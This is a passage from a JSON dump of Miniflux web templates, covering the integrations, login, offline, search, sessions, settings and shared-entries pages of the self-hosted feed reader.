\"form.integration.wallabag_password\" }}</label>\n            <input type=\"password\" name=\"wallabag_password\" id=\"form-wallabag-password\" value=\"{{ .form.WallabagPassword }}\" autocomplete=\"new-password\">\n\n            <label for=\"form-wallabag-tags\">{{ t \"form.integration.wallabag_tags\" }}</label>\n            <input type=\"text\" name=\"wallabag_tags\" id=\"form-wallabag-tags\" value=\"{{ .form.WallabagTags }}\" spellcheck=\"false\">\n\n            <div class=\"buttons\">\n                <button type=\"submit\" class=\"button button-primary\" data-label-loading=\"{{ t \"form.submit.saving\" }}\">{{ t \"action.update\" }}</button>\n            </div>\n        </div>\n    </details>\n\n    <details {{ if .form.WebhookEnabled }}open{{ end }}>\n        <summary>Webhook</summary>\n        <div class=\"form-section\">\n            <label>\n                <input type=\"checkbox\" name=\"webhook_enabled\" value=\"1\" {{ if .form.WebhookEnabled }}checked{{ end }}> {{ t \"form.integration.webhook_activate\" }}\n            </label>\n\n            <label for=\"form-webhook-url\">{{ t \"form.integration.webhook_url\" }}</label>\n            <input type=\"url\" name=\"webhook_url\" id=\"form-webhook-url\" value=\"{{ .form.WebhookURL }}\" placeholder=\"https://username:password@example.org\" spellcheck=\"false\">\n\n            {{ if .form.WebhookSecret }}\n            <label for=\"form-webhook-secret\">{{ t \"form.integration.webhook_secret\" }}</label>\n            <input type=\"text\" name=\"webhook_secret\" id=\"form-webhook-secret\" value=\"{{ .form.WebhookSecret }}\" spellcheck=\"false\" readonly>\n            {{ end }}\n\n            <div class=\"buttons\">\n                <button type=\"submit\" class=\"button button-primary\" data-label-loading=\"{{ t \"form.submit.saving\" }}\">{{ t \"action.update\" }}</button>\n            </div>\n        </div>\n    </details>\n</form>\n\n<h3>{{ t \"page.integration.bookmarklet\" }}</h3>\n<div class=\"panel\">\n    <p>{{ t \"page.integration.bookmarklet.help\" }}</p>\n\n    <div class=\"bookmarklet\">\n        <a href=\"javascript:location.href='{{ rootURL }}{{ routePath \"/bookmarklet\" }}?uri='+encodeURIComponent(window.location.href)\">{{ t \"page.integration.bookmarklet.name\" }}</a>\n    </div>\n\n    <p>{{ t \"page.integration.bookmarklet.instructions\" }}</p>\n</div>\n\n{{ end }}\n"
  },
  {
    "path": "internal/template/templates/views/login.html",
    "content": "{{ define \"title\"}}{{ t \"page.login.title\" }}{{ end }}\n\n\n{{ define \"page_header\"}}{{ end }}\n\n{{ define \"content\"}}\n<section class=\"login-form\">\n    {{ if not disableLocalAuth }}\n    <form action=\"{{ routePath \"/login\" }}\" method=\"post\">\n        <input type=\"hidden\" name=\"csrf\" value=\"{{ .csrf }}\">\n        <input type=\"hidden\" name=\"redirect_url\" value=\"{{ .redirectURL }}\">\n\n        {{ if .errorMessage }}\n            <div role=\"alert\" class=\"alert alert-error\">{{ .errorMessage }}</div>\n        {{ end }}\n\n        <label for=\"form-username\">{{ t \"form.user.label.username\" }}</label>\n        <input type=\"text\" name=\"username\" id=\"form-username\" value=\"{{ .form.Username }}\" autocomplete=\"username\" required autofocus>\n\n        <label for=\"form-password\">{{ t \"form.user.label.password\" }}</label>\n        <input type=\"password\" name=\"password\" id=\"form-password\" value=\"{{ .form.Password }}\" autocomplete=\"current-password\" required>\n\n        <div class=\"buttons\">\n            <button type=\"submit\" class=\"button button-primary\" data-label-loading=\"{{ t \"form.submit.loading\" }}\">{{ t \"action.login\" }}</button>\n        </div>\n    </form>\n    {{ end }}\n    {{ if and (not disableLocalAuth) (.webAuthnEnabled) }}\n    <hr>\n    {{ end }}\n    {{ if .webAuthnEnabled }}\n    <div class=\"webauthn\">\n        <template id=\"webauthn-error\">\n            <div role=\"alert\" class=\"alert alert-error\" id=\"webauthn-error-alert\">\n                <h4>{{ t \"page.login.webauthn_login.error\" }}</h4>\n                <p id=\"webauthn-error-message\"></p>\n            </div>\n        </template>\n        <div class=\"buttons\">\n            <button class=\"button button-primary\" id=\"webauthn-login\" disabled>{{ t \"page.login.webauthn_login\" }}</button>\n        </div>\n        <div class=\"form-help\">\n            <p>{{ t \"page.login.webauthn_login.help\" }}</p>\n        </div>\n    </div>\n    {{ end }}\n    {{ if and (.webAuthnEnabled) (or (hasOAuth2Provider \"google\") (hasOAuth2Provider \"oidc\")) }}\n    <hr>\n    {{ end }}\n    {{ if hasOAuth2Provider \"google\" }}\n    <div class=\"oauth2\">\n        <a href=\"{{ routePath \"/oauth2/%s/redirect\" \"google\" }}\">{{ t \"page.login.google_signin\" }}</a>\n    </div>\n    {{ else if hasOAuth2Provider \"oidc\" }}\n    <div class=\"oauth2\">\n        <a href=\"{{ routePath \"/oauth2/%s/redirect\" \"oidc\" }}\">{{ t \"page.login.oidc_signin\" oidcProviderName }}</a>\n    </div>\n    {{ end }}\n</section>\n<footer id=\"prompt-home-screen\">\n    <button id=\"btn-add-to-home-screen\">{{ icon \"home\" }}<span class=\"icon-label\">{{ t \"action.home_screen\" }}</span></button>\n</footer>\n{{ end }}\n"
  },
  {
    "path": "internal/template/templates/views/offline.html",
    "content": "{{ define \"base\" }}\n<!DOCTYPE html>\n<html>\n    <head>\n        <meta charset=\"utf-8\">\n        <title>{{ t \"page.offline.title\" }} - Miniflux</title>\n        <meta name=\"viewport\" content=\"width=device-width, initial-scale=1.0\">\n        <meta name=\"color-scheme\" content=\"dark light\">\n        <meta name=\"theme-color\" content=\"{{ theme_color .theme \"light\" }}\" media=\"(prefers-color-scheme: light)\">\n        <meta name=\"theme-color\" content=\"{{ theme_color .theme \"dark\" }}\" media=\"(prefers-color-scheme: dark)\">\n    </head>\n    <body>\n        <p>{{ t \"page.offline.message\" }} - <a href=\"{{ routePath \"/unread\" }}\">{{ t \"page.offline.refresh_page\" }}</a>.</p>\n    </body>\n</html>\n{{end}}"
  },
  {
    "path": "internal/template/templates/views/search.html",
    "content": "{{ define \"title\"}}{{ t \"page.search.title\" }} ({{ .total }}){{ end }}\n\n{{ define \"page_header\"}}\n<section class=\"page-header\" aria-labelledby=\"page-header-title\">\n    <h1 id=\"page-header-title\">{{ t \"page.search.title\" }} ({{ .total }})</h1>\n</section>\n{{ end }}\n\n{{ define \"content\"}}\n<search role=\"search\">\n    <form class=\"search-form\" action=\"{{ routePath \"/search\" }}\" aria-labelledby=\"search-input-label\">\n        <div class=\"search-input-row\">\n            <input type=\"search\" name=\"q\" id=\"search-input\" aria-label=\"{{ t \"search.label\" }}\" placeholder=\"{{ t \"search.placeholder\" }}\" {{ if $.searchQuery }}value=\"{{ .searchQuery }}\"{{ else }}autofocus{{ end }} required>\n            <button type=\"submit\" class=\"button button-primary\" data-label-loading=\"{{ t \"form.submit.loading\" }}\">{{ t \"search.submit\" }}</button>\n        </div>\n        <label class=\"search-filter\"><input type=\"checkbox\" name=\"unread\" value=\"1\" {{ if $.searchUnreadOnly }}checked{{ end }}> {{ t \"menu.show_only_unread_entries\" }}</label>\n    </form>\n</search>\n\n{{ if $.searchQuery }}\n    {{ if not .entries }}\n        <p role=\"alert\" class=\"alert alert-info\">{{ t \"alert.no_search_result\" }}</p>\n    {{ else }}\n        <div class=\"pagination-top\">\n            {{ template \"pagination\" .pagination }}\n        </div>\n        <div class=\"items\">\n            {{ range .entries }}\n            <article\n                class=\"item entry-item {{ if $.user.EntrySwipe }}entry-swipe{{ end }} item-status-{{ .Status }}\"\n                data-id=\"{{ .ID }}\"\n                aria-labelledby=\"entry-title-{{ .ID }}\"\n            >\n                <header class=\"item-header\" dir=\"auto\">\n                    <h2 id=\"entry-title-{{ .ID }}\" class=\"item-title\">\n                        <a href=\"{{ routePath \"/search/entry/%d\" .ID }}{{ queryString (dict \"q\" $.searchQuery \"unread\" $.searchUnreadOnly) }}\">\n                            {{ if ne .Feed.Icon.IconID 0 }}\n                            <img src=\"{{ routePath \"/feed-icon/%s\" .Feed.Icon.ExternalIconID }}\" width=\"16\" height=\"16\" loading=\"lazy\" alt=\"{{ .Feed.Title }}\">\n                            {{ else }}\n                            <span class=\"sr-only\">{{ .Feed.Title }}</span>\n                            {{ end }}\n                            {{ .Title }}\n                        </a>\n                    </h2>\n                    <span class=\"category\">\n                        <a href=\"{{ routePath \"/category/%d/entries\" .Feed.Category.ID }}\">\n                            {{ .Feed.Category.Title }}\n                        </a>\n                    </span>\n                </header>\n                {{ template \"item_meta\" dict \"user\" $.user \"entry\" . \"hasSaveEntry\" $.hasSaveEntry  }}\n            </article>\n            {{ end }}\n        </div>\n        <div class=\"pagination-bottom\">\n            {{ template \"pagination\" .pagination }}\n        </div>\n    {{ end }}\n{{ end }}\n{{ end }}\n"
  },
  {
    "path": "internal/template/templates/views/sessions.html",
    "content": "{{ define \"title\"}}{{ t \"page.sessions.title\" }}{{ end }}\n\n{{ define \"page_header\"}}\n<section class=\"page-header\" aria-labelledby=\"page-header-title\">\n    <h1 id=\"page-header-title\">{{ t \"page.sessions.title\" }}</h1>\n    {{ template \"settings_menu\" dict \"user\" .user }}\n</section>\n{{ end }}\n\n{{ define \"content\"}}\n<table>\n    <tr>\n        <th>{{ t \"page.sessions.table.date\" }}</th>\n        <th>{{ t \"page.sessions.table.ip\" }}</th>\n        <th>{{ t \"page.sessions.table.user_agent\" }}</th>\n        <th>{{ t \"page.sessions.table.actions\" }}</th>\n    </tr>\n    {{ range .sessions }}\n    <tr {{ if eq .Token $.currentSessionToken }}class=\"row-highlighted\"{{ end }}>\n        <td class=\"column-20\" title=\"{{ isodate .CreatedAt }}\">{{ elapsed $.user.Timezone .CreatedAt }}</td>\n        <td class=\"column-20\" title=\"{{ .IP }}\">{{ .IP }}</td>\n        <td title=\"{{ .UserAgent }}\">{{ .UserAgent }}</td>\n        <td class=\"column-20\">\n            {{ if eq .Token $.currentSessionToken }}\n                {{ t \"page.sessions.table.current_session\" }}\n            {{ else }}\n                <a href=\"#\"\n                    data-confirm=\"true\"\n                    data-label-question=\"{{ t \"confirm.question\" }}\"\n                    data-label-yes=\"{{ t \"confirm.yes\" }}\"\n                    data-label-no=\"{{ t \"confirm.no\" }}\"\n                    data-label-loading=\"{{ t \"confirm.loading\" }}\"\n                    data-url=\"{{ routePath \"/sessions/%d/remove\" .ID }}\">{{ icon \"delete\" }}{{ t \"action.remove\" }}</a>\n            {{ end }}\n        </td>\n    </tr>\n    {{ end }}\n</table>\n\n{{ end }}\n"
  },
  {
    "path": "internal/template/templates/views/settings.html",
    "content": "{{ define \"title\"}}{{ t \"page.settings.title\" }}{{ end }}\n\n{{ define \"page_header\"}}\n<section class=\"page-header\" aria-labelledby=\"page-header-title\">\n    <h1 id=\"page-header-title\">{{ t \"page.settings.title\" }}</h1>\n    {{ template \"settings_menu\" dict \"user\" .user }}\n</section>\n{{ end }}\n\n{{ define \"content\"}}\n<form method=\"post\" autocomplete=\"off\" action=\"{{ routePath \"/settings\" }}\">\n    <input type=\"hidden\" name=\"csrf\" value=\"{{ .csrf }}\">\n\n    {{ if .errorMessage }}\n        <div role=\"alert\" class=\"alert alert-error\">{{ .errorMessage }}</div>\n    {{ end }}\n\n    {{ if not disableLocalAuth }}\n    <fieldset>\n        <legend>{{ t \"form.prefs.fieldset.authentication_settings\" }}</legend>\n\n        <label for=\"form-username\">{{ t \"form.user.label.username\" }}</label>\n        <input type=\"text\" name=\"username\" id=\"form-username\" value=\"{{ .form.Username }}\" autocomplete=\"username\" required>\n\n        <label for=\"form-password\">{{ t \"form.user.label.password\" }}</label>\n        <input type=\"password\" name=\"password\" id=\"form-password\" value=\"{{ .form.Password }}\" autocomplete=\"new-password\">\n\n        <label for=\"form-confirmation\">{{ t \"form.user.label.confirmation\" }}</label>\n        <input type=\"password\" name=\"confirmation\" id=\"form-confirmation\" value=\"{{ .form.Confirmation }}\" autocomplete=\"new-password\">\n\n        {{ if hasOAuth2Provider \"google\" }}\n        <p>\n            {{ if .user.GoogleID }}\n                <a href=\"{{ routePath \"/oauth2/%s/unlink\" \"google\" }}\">{{ t \"page.settings.unlink_google_account\" }}</a>\n            {{ else }}\n                <a href=\"{{ routePath \"/oauth2/%s/redirect\" \"google\" }}\">{{ t \"page.settings.link_google_account\" }}</a>\n            {{ end }}\n        </p>\n        {{ else if hasOAuth2Provider \"oidc\" }}\n        <p>\n            {{ if .user.OpenIDConnectID }}\n                <a href=\"{{ routePath \"/oauth2/%s/unlink\" \"oidc\" }}\">{{ t \"page.settings.unlink_oidc_account\" oidcProviderName }}</a>\n            {{ else }}\n                <a href=\"{{ routePath \"/oauth2/%s/redirect\" \"oidc\" }}\">{{ t \"page.settings.link_oidc_account\" oidcProviderName }}</a>\n            {{ end }}\n        </p>\n        {{ end }}\n\n        <div class=\"buttons\">\n            <button type=\"submit\" class=\"button button-primary\" data-label-loading=\"{{ t \"form.submit.saving\" }}\">{{ t \"action.update\" }}</button>\n        </div>\n    </fieldset>\n    {{ end }}\n\n    {{ if .webAuthnEnabled }}\n    <fieldset>\n        <legend>{{ t \"page.settings.webauthn.passkeys\" }}</legend>\n\n        <template id=\"webauthn-error\">\n            <div role=\"alert\" class=\"alert alert-error\" id=\"webauthn-error-alert\">\n                <h4>{{ t \"page.settings.webauthn.register.error\" }}</h4>\n                <p id=\"webauthn-error-message\"></p>\n            </div>\n        </template>\n\n        {{ if .webAuthnCerts}}\n        <table>\n            <tr>\n                <th>{{ t \"page.settings.webauthn.passkey_name\" }}</th>\n                <th>{{ t \"page.settings.webauthn.added_on\" }}</th>\n                <th>{{ t \"page.settings.webauthn.last_seen_on\" }}</th>\n                <th>{{ t \"page.settings.webauthn.actions\" }}</th>\n            </tr>\n            {{ range .webAuthnCerts }}\n            <tr>\n                <td>{{ .Name }}</td>\n                <td>{{ elapsed $.user.Timezone .AddedOn }}</td>\n                <td>{{ elapsed $.user.Timezone .LastSeenOn }}</td>\n                <td>\n                    <a href=\"#\"\n                        data-confirm=\"true\"\n                        data-label-question=\"{{ t \"confirm.question\" }}\"\n                        data-label-yes=\"{{ t \"confirm.yes\" }}\"\n                        data-label-no=\"{{ t \"confirm.no\" }}\"\n                        data-label-loading=\"{{ t \"confirm.loading\" }}\"\n                        data-url=\"{{ routePath \"/webauthn/%s/delete\" .HandleEncoded }}\">{{ icon \"delete\" }}{{ t \"action.remove\" }}</a>\n                    <a href=\"{{ routePath \"/webauthn/%s/rename\" .HandleEncoded }}\">{{ icon \"edit\" }} {{ t \"action.edit\" }}</a>\n                </td>\n            </tr>\n            {{ end }}\n        </table>\n        {{ end }}\n\n        <div class=\"buttons\">\n            <button class=\"button button-primary\" id=\"webauthn-register\" disabled>\n                {{ t \"page.settings.webauthn.register\" }}\n            </button>\n            {{ if gt .countWebAuthnCerts 0}}\n            <button class=\"button button-danger\" id=\"webauthn-delete\">\n                {{ plural \"page.settings.webauthn.delete\" .countWebAuthnCerts .countWebAuthnCerts }}\n            </button>\n            {{ end }}\n        </div>\n    </fieldset>\n    {{ end }}\n\n    <fieldset>\n        <legend>{{ t \"form.prefs.fieldset.reader_settings\" }}</legend>\n\n        <label for=\"form-cjk-reading-speed\">{{ t \"form.prefs.label.cjk_reading_speed\" }}</label>\n        <input type=\"number\" name=\"cjk_reading_speed\" id=\"form-cjk-reading-speed\" value=\"{{ .form.CJKReadingSpeed }}\" min=\"1\">\n\n        <label for=\"form-default-reading-speed\">{{ t \"form.prefs.label.default_reading_speed\" }}</label>\n        <input type=\"number\" name=\"default_reading_speed\" id=\"form-default-reading-speed\" value=\"{{ .form.DefaultReadingSpeed }}\" min=\"1\">\n\n        <label for=\"form-media-playback-rate\">{{ t \"form.prefs.label.media_playback_rate\" }}</label>\n        <input type=\"number\" name=\"media_playback_rate\" id=\"form-media-playback-rate\" value=\"{{ .form.MediaPlaybackRate }}\" min=\"0.25\" max=\"4\" step=\"any\" />\n\n        <label><input type=\"checkbox\" name=\"show_reading_time\" value=\"1\" {{ if .form.ShowReadingTime }}checked{{ end }}> {{ t \"form.prefs.label.show_reading_time\" }}</label>\n\n        <label><input type=\"radio\" name=\"mark_read_behavior\" value=\"{{ .readBehaviors.NoAutoMarkAsRead }}\"\n                      {{ if eq .form.MarkReadBehavior .readBehaviors.NoAutoMarkAsRead }}checked{{end}}                          > {{ t \"form.prefs.label.mark_read_manually\" }}</label>\n        <label><input type=\"radio\" name=\"mark_read_behavior\" value=\"{{ .readBehaviors.MarkAsReadOnView }}\"\n                      {{ if eq .form.MarkReadBehavior .readBehaviors.MarkAsReadOnView }}checked{{end}}                          > {{ t \"form.prefs.label.mark_read_on_view\" }}</label>\n        <label><input type=\"radio\" name=\"mark_read_behavior\" value=\"{{ .readBehaviors.MarkAsReadOnViewButWaitForPlayerCompletion }}\"\n                      {{ if eq .form.MarkReadBehavior .readBehaviors.MarkAsReadOnViewButWaitForPlayerCompletion }}checked{{end}}> {{ t \"form.prefs.label.mark_read_on_view_or_media_completion\" }}</label>\n        <label><input type=\"radio\" name=\"mark_read_behavior\" value=\"{{ .readBehaviors.MarkAsReadOnlyOnPlayerCompletion }}\"\n                      {{ if eq .form.MarkReadBehavior .readBehaviors.MarkAsReadOnlyOnPlayerCompletion }}checked{{end}}          > {{ t \"form.prefs.label.mark_read_on_media_completion\" }}</label>\n\n        <div class=\"buttons\">\n            <button type=\"submit\" class=\"button button-primary\" data-label-loading=\"{{ t \"form.submit.saving\" }}\">{{ t \"action.update\" }}</button>\n        </div>\n    </fieldset>\n\n    <fieldset>\n        <legend>{{ t \"form.prefs.fieldset.application_settings\" }}</legend>\n\n        <label for=\"form-language\">{{ t \"form.prefs.label.language\" }}</label>\n        <select id=\"form-language\" name=\"language\">\n        {{ range $key, $value := .languages }}\n            <option value=\"{{ $key }}\" {{ if eq $key $.form.Language }}selected=\"selected\"{{ end }}>{{ $value }}</option>\n        {{ end }}\n        </select>\n\n        <label for=\"form-timezone\">{{ t \"form.prefs.label.timezone\" }}</label>\n        <select id=\"form-timezone\" name=\"timezone\">\n        {{ range $value := .timezones }}\n            <option value=\"{{ $value }}\" {{ if eq $value $.form.Timezone }}selected=\"selected\"{{ end }}>{{ $value }}</option>\n        {{ end }}\n        </select>\n\n        <label for=\"form-theme\">{{ t \"form.prefs.label.theme\" }}</label>\n        <select id=\"form-theme\" name=\"theme\">\n        {{ range $key, $value := .themes }}\n            <option value=\"{{ $key }}\" {{ if eq $key $.form.Theme }}selected=\"selected\"{{ end }}>{{ $value }}</option>\n        {{ end }}\n        </select>\n\n        <div class=\"form-label-row\">\n            <label for=\"form-display-mode\">{{ t \"form.prefs.label.display_mode\" }}</label>\n            &nbsp;\n            <a href=\"https://developer.mozilla.org/en-US/docs/Web/Manifest/display\" {{ if $.user.OpenExternalLinksInNewTab }}target=\"_blank\"{{ end }}>\n                {{ icon \"external-link\" }}\n            </a>\n        </div>\n        <select id=\"form-display-mode\" name=\"display_mode\">\n            <option value=\"fullscreen\" {{ if eq \"fullscreen\" $.form.DisplayMode }}selected=\"selected\"{{ end }}>{{ t \"form.prefs.select.fullscreen\" }}</option>\n            <option value=\"standalone\" {{ if eq \"standalone\" $.form.DisplayMode }}selected=\"selected\"{{ end }}>{{ t \"form.prefs.select.standalone\" }}</option>\n            <option value=\"minimal-ui\" {{ if eq \"minimal-ui\" $.form.DisplayMode }}selected=\"selected\"{{ end }}>{{ t \"form.prefs.select.minimal_ui\" }}</option>\n            <option value=\"browser\" {{ if eq \"browser\" $.form.DisplayMode }}selected=\"selected\"{{ end }}>{{ t \"form.prefs.select.browser\" }}</option>\n        </select>\n\n        <label for=\"form-default-home-page\">{{ t \"form.prefs.label.default_home_page\" }}</label>\n        <select id=\"form-default-home-page\" name=\"default_home_page\">\n        {{ range $key, $value := .default_home_pages }}\n            <option value=\"{{ $key }}\" {{ if eq $key $.form.DefaultHomePage }}selected=\"selected\"{{ end }}>{{ t $value }}</option>\n        {{ end }}\n        </select>\n\n        <label for=\"form-entry-direction\">{{ t \"form.prefs.label.entry_sorting\" }}</label>\n        <select id=\"form-entry-direction\" name=\"entry_direction\">\n            <option value=\"asc\" {{ if eq \"asc\" $.form.EntryDirection }}selected=\"selected\"{{ end }}>{{ t \"form.prefs.select.older_first\" }}</option>\n            <option value=\"desc\" {{ if eq \"desc\" $.form.EntryDirection }}selected=\"selected\"{{ end }}>{{ t \"form.prefs.select.recent_first\" }}</option>\n        </select>\n\n        <label for=\"form-entry-order\">{{ t \"form.prefs.label.entry_order\" }}</label>\n        <select id=\"form-entry-order\" name=\"entry_order\">\n            <option value=\"published_at\" {{ if eq \"published_at\" $.form.EntryOrder }}selected=\"selected\"{{ end }}>{{ t \"form.prefs.select.publish_time\" }}</option>\n            <option value=\"created_at\" {{ if eq \"created_at\" $.form.EntryOrder }}selected=\"selected\"{{ end }}>{{ t \"form.prefs.select.created_time\" }}</option>\n        </select>\n\n        <label for=\"form-categories-sorting-order\">{{ t \"form.prefs.label.categories_sorting_order\" }}</label>\n        <select id=\"form-categories-sorting-order\" name=\"categories_sorting_order\">\n        {{ range $key, $value := .categories_sorting_options }}\n            <option value=\"{{ $key }}\" {{ if eq $key $.form.CategoriesSortingOrder }}selected=\"selected\"{{ end }}>{{ t $value }}</option>\n        {{ end }}\n        </select>\n\n        <label for=\"form-gesture-nav\">{{ t \"form.prefs.label.gesture_nav\" }}</label>\n        <select id=\"form-gesture-nav\" name=\"gesture_nav\">\n            <option value=\"none\" {{ if eq \"none\" $.form.GestureNav }}selected=\"selected\"{{ end }}>{{ t \"form.prefs.select.none\" }}</option>\n            <option value=\"tap\" {{ if eq \"tap\" $.form.GestureNav }}selected=\"selected\"{{ end }}>{{ t \"form.prefs.select.tap\" }}</option>\n            <option value=\"swipe\" {{ if eq \"swipe\" $.form.GestureNav }}selected=\"selected\"{{ end }}>{{ t \"form.prefs.select.swipe\" }}</option>\n        </select>\n\n        <label for=\"form-entries-per-page\">{{ t \"form.prefs.label.entries_per_page\" }}</label>\n        <input type=\"number\" name=\"entries_per_page\" id=\"form-entries-per-page\" value=\"{{ .form.EntriesPerPage }}\" min=\"1\">\n\n        <label><input type=\"checkbox\" name=\"keyboard_shortcuts\" value=\"1\" {{ if .form.KeyboardShortcuts }}checked{{ end }}> {{ t \"form.prefs.label.keyboard_shortcuts\" }}</label>\n\n        <label><input type=\"checkbox\" name=\"entry_swipe\" value=\"1\" {{ if .form.EntrySwipe }}checked{{ end }}> {{ t \"form.prefs.label.entry_swipe\" }}</label>\n\n        <label><input type=\"checkbox\" name=\"always_open_external_links\" value=\"1\" {{ if .form.AlwaysOpenExternalLinks }}checked{{ end }}> {{ t \"form.prefs.label.always_open_external_links\" }}</label>\n\n        <label><input type=\"checkbox\" name=\"open_external_links_in_new_tab\" value=\"1\" {{ if .form.OpenExternalLinksInNewTab }}checked{{ end }}> {{ t \"form.prefs.label.open_external_links_in_new_tab\" }}</label>\n\n        <label for=\"form-custom-css\">{{t \"form.prefs.label.custom_css\" }}</label>\n        <textarea id=\"form-custom-css\" name=\"custom_css\" cols=\"40\" rows=\"10\" spellcheck=\"false\">{{ .form.CustomCSS }}</textarea>\n\n        <label for=\"form-external-font-hosts\">{{t \"form.prefs.label.external_font_hosts\" }}</label>\n        <input type=\"text\" id=\"form-external-font-hosts\" name=\"external_font_hosts\" spellcheck=\"false\" value=\"{{ .form.ExternalFontHosts }}\">\n        <div class=\"form-help\">{{t \"form.prefs.help.external_font_hosts\" }}</div>\n\n        <label for=\"form-custom-js\">{{t \"form.prefs.label.custom_js\" }}</label>\n        <textarea id=\"form-custom-js\" name=\"custom_js\" cols=\"40\" rows=\"10\" spellcheck=\"false\">{{ .form.CustomJS }}</textarea>\n\n        <div class=\"buttons\">\n            <button type=\"submit\" class=\"button button-primary\" data-label-loading=\"{{ t \"form.submit.saving\" }}\">{{ t \"action.update\" }}</button>\n        </div>\n    </fieldset>\n\n    <fieldset>\n        <legend>{{ t \"form.prefs.fieldset.global_feed_settings\" }}</legend>\n        <div class=\"form-label-row\">\n            <label for=\"form-block-filter-rules\">\n                {{ t \"form.feed.label.block_filter_entry_rules\" }}\n            </label>\n            &nbsp;\n            <a href=\" https://miniflux.app/docs/rules.html#filtering-rules\" {{ if $.user.OpenExternalLinksInNewTab }}target=\"_blank\"{{ end }}>\n                {{ icon \"external-link\" }}\n            </a>\n        </div>\n        <textarea id=\"form-block-filter-rules\" name=\"block_filter_entry_rules\" cols=\"40\" rows=\"10\" spellcheck=\"false\">{{ .form.BlockFilterEntryRules }}</textarea>\n\n        <div class=\"form-label-row\">\n            <label for=\"form-keep-filter-rules\">\n                {{ t \"form.feed.label.keep_filter_entry_rules\" }}\n            </label>\n            &nbsp;\n            <a href=\" https://miniflux.app/docs/rules.html#filtering-rules\" {{ if $.user.OpenExternalLinksInNewTab }}target=\"_blank\"{{ end }}>\n                {{ icon \"external-link\" }}\n            </a>\n        </div>\n        <textarea id=\"form-keep-filter-rules\" name=\"keep_filter_entry_rules\" cols=\"40\" rows=\"10\" spellcheck=\"false\">{{ .form.KeepFilterEntryRules }}</textarea>\n\n        <div class=\"buttons\">\n            <button type=\"submit\" class=\"button button-primary\" data-label-loading=\"{{ t \"form.submit.saving\" }}\">{{ t \"action.update\" }}</button>\n        </div>\n    </fieldset>\n</form>\n\n{{ end }}\n"
  },
  {
    "path": "internal/template/templates/views/shared_entries.html",
    "content": "{{ define \"title\"}}{{ t \"page.shared_entries.title\" }} ({{ .total }}){{ end }}\n\n{{ define \"page_header\"}}\n<section class=\"page-header\" aria-labelledby=\"page-header-title page-header-title-count\">\n    <h1 id=\"page-header-title\">\n        {{ t \"page.shared_entries.title\" }}\n        <span aria-hidden=\"true\">({{ .total }})</span>\n    </h1>\n    <span id=\"page-header-title-count\" class=\"sr-only\">{{ plural \"page.shared_entries_count\" .total .total }}</span>\n    {{ if .entries }}\n    <nav aria-label=\"{{ t \"page.shared_entries.title\" }} {{ t \"menu.title\" }}\">\n        <ul>\n            <li>\n                <button\n                    class=\"page-button\"\n                    data-confirm=\"true\"\n                    data-url=\"{{ routePath \"/history/flush\" }}\"\n                    data-label-question=\"{{ t \"confirm.question\" }}\"\n                    data-label-yes=\"{{ t \"confirm.yes\" }}\"\n                    data-label-no=\"{{ t \"confirm.no\" }}\"\n                    data-label-loading=\"{{ t \"confirm.loading\" }}\">{{ icon \"delete\" }}{{ t \"menu.flush_history\" }}</button>\n            </li>\n            <li>\n                <a class=\"page-link\" href=\"{{ routePath \"/shares\" }}\">{{ icon \"share\" }}{{ t \"menu.shared_entries\" }}</a>\n            </li>\n        </ul>\n    </nav>\n    {{ end }}\n</section>\n{{ end }}\n\n{{ define \"content\"}}\n{{ if not .entries }}\n    <p role=\"alert\" class=\"alert alert-info\">{{ t \"alert.no_shared_entry\" }}</p>\n{{ else }}\n    <div class=\"pagination-top\">\n        {{ template \"pagination\" .pagination }}\n    </div>\n    <div class=\"items\">\n        {{ range .entries }}\n        <article\n            class=\"item entry-item {{ if $.user.EntrySwipe }}entry-swipe{{ end }} item-status-{{ .Status }}\"\n            data-id=\"{{ .ID }}\"\n            aria-labelledby=\"entry-title-{{ .ID }}\"\n            tabindex=\"-1\"\n        >\n            <header class=\"item-header\" dir=\"auto\">\n                <h2 id=\"entry-title-{{ .ID }}\" class=\"item-title\">\n                    <a href=\"{{ routePath \"/history/entry/%d\" .ID }}\">\n                        {{ if ne .Feed.Icon.IconID 0 }}\n                        <img src=\"{{ routePath \"/feed-icon/%s\" .Feed.Icon.ExternalIconID }}\" width=\"16\" height=\"16\" loading=\"lazy\" alt=\"\">\n                        {{ end }}\n                        {{ .Title }}\n                    </a>\n                    {{ if .ShareCode }}\n                    <a href=\"{{ routePath \"/share/%s\" .ShareCode }}\"\n                        title=\"{{ t \"entry.shared_entry.title\" }}\"\n                        {{ if $.user.OpenExternalLinksInNewTab }}target=\"_blank\"{{ end }}>{{ icon \"share\" }}</a>\n                    {{ end }}\n                </h2>\n                <span class=\"category\"><a href=\"{{ routePath \"/category/%d/entries\" .Feed.Category.ID }}\">{{ .Feed.Category.Title }}</a></span>\n            </header>\n            <div class=\"item-meta\">\n                <ul class=\"item-meta-info\">\n                    <li class=\"item-meta-info-site-url\">\n                        <a href=\"{{ routePath \"/feed/%d/entries\" .Feed.ID }}\" title=\"{{ .Feed.SiteURL }}\">{{ truncate .Feed.Title 35 }}</a>\n                    </li>\n                    <li class=\"item-meta-info-timestamp\">\n                        <time datetime=\"{{ isodate .Date }}\" title=\"{{ isodate .Date }}\">{{ elapsed $.user.Timezone .Date }}</time>\n                    </li>\n                </ul>\n                <ul class=\"item-meta-icons\">\n                    <li class=\"item-meta-icons-delete\">\n                        {{ icon \"delete\" }}\n                        <a href=\"#\"\n                            data-confirm=\"true\"\n                            data-url=\"{{ routePath \"/entry/unshare/%d\" .ID }}\"\n                            data-label-question=\"{{ t \"confirm.question\" }}\"\n                            data-label-yes=\"{{ t \"confirm.yes\" }}\"\n                            data-label-no=\"{{ t \"confirm.no\" }}\"\n                            data-label-loading=\"{{ t \"confirm.loading\" }}\">{{ t \"entry.unshare.label\" }}</a>\n                    </li>\n                </ul>\n            </div>\n        </article>\n        {{ end }}\n    </div>\n    <div class=\"pagination-bottom\">\n        {{ template \"pagination\" .pagination }}\n    </div>\n{{ end }}\n\n{{ end }}\n"
  },
  {
    "path": "internal/template/templates/views/starred_entries.html",
